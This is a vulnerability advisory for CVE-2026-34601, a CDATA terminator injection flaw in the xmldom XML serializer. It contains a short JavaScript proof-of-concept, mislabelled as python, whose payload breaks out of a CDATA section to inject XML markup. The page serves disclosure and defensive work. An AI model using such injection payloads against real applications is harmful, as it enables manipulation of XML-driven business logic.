Security Vulnerability Report
中文
CVE-2026-34601 CVSS 7.5 HIGH

CVE-2026-34601

Published: 2026-04-02 18:16:32
Last Modified: 2026-04-16 14:57:08

Description

xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) `DOMParser` and `XMLSerializer` module. In xmldom versions 0.6.0 and prior and @xmldom/xmldom prior to versions 0.8.12 and 0.9.9, xmldom/xmldom allows attacker-controlled strings containing the CDATA terminator ]]> to be inserted into a CDATASection node. During serialization, XMLSerializer emitted the CDATA content verbatim without rejecting or safely splitting the terminator. As a result, data intended to remain text-only became active XML markup in the serialized output, enabling XML structure injection and downstream business-logic manipulation. This issue has been patched in xmldom version 0.6.0 and @xmldom/xmldom versions 0.8.12 and 0.9.9.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

xmldom < 0.6.0
@xmldom/xmldom < 0.8.12
@xmldom/xmldom < 0.9.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const { DOMParser, XMLSerializer } = require('@xmldom/xmldom'); const parser = new DOMParser(); const serializer = new XMLSerializer(); // Malicious payload containing CDATA terminator const payload = ']]><injected-tag>malicious_content</injected-tag>'; const doc = parser.parseFromString('<root></root>', 'text/xml'); const cdata = doc.createCDATASection(payload); doc.documentElement.appendChild(cdata); // Serialize to string const output = serializer.serializeToString(doc); console.log(output); // Result: <root><![CDATA[]]><injected-tag>malicious_content</injected-tag>]]></root> // The injected tag breaks out of the CDATA section.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34601", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:31.933", "lastModified": "2026-04-16T14:57:08.337", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) `DOMParser` and `XMLSerializer` module. In xmldom versions 0.6.0 and prior and @xmldom/xmldom prior to versions 0.8.12 and 0.9.9, xmldom/xmldom allows attacker-controlled strings containing the CDATA terminator ]]> to be inserted into a CDATASection node. During serialization, XMLSerializer emitted the CDATA content verbatim without rejecting or safely splitting the terminator. As a result, data intended to remain text-only became active XML markup in the serialized output, enabling XML structure injection and downstream business-logic manipulation. This issue has been patched in xmldom version 0.6.0 and @xmldom/xmldom versions 0.8.12 and 0.9.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-91"}]}], "references": [{"url": "https://github.com/xmldom/xmldom/commit/2b852e836ab86dbbd6cbaf0537f584dd0b5ac184", "source": "[email protected]"}, {"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.12", "source": "[email protected]"}, {"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.9", "source": "[email protected]"}, {"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp", "source": "[email protected]"}, {"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}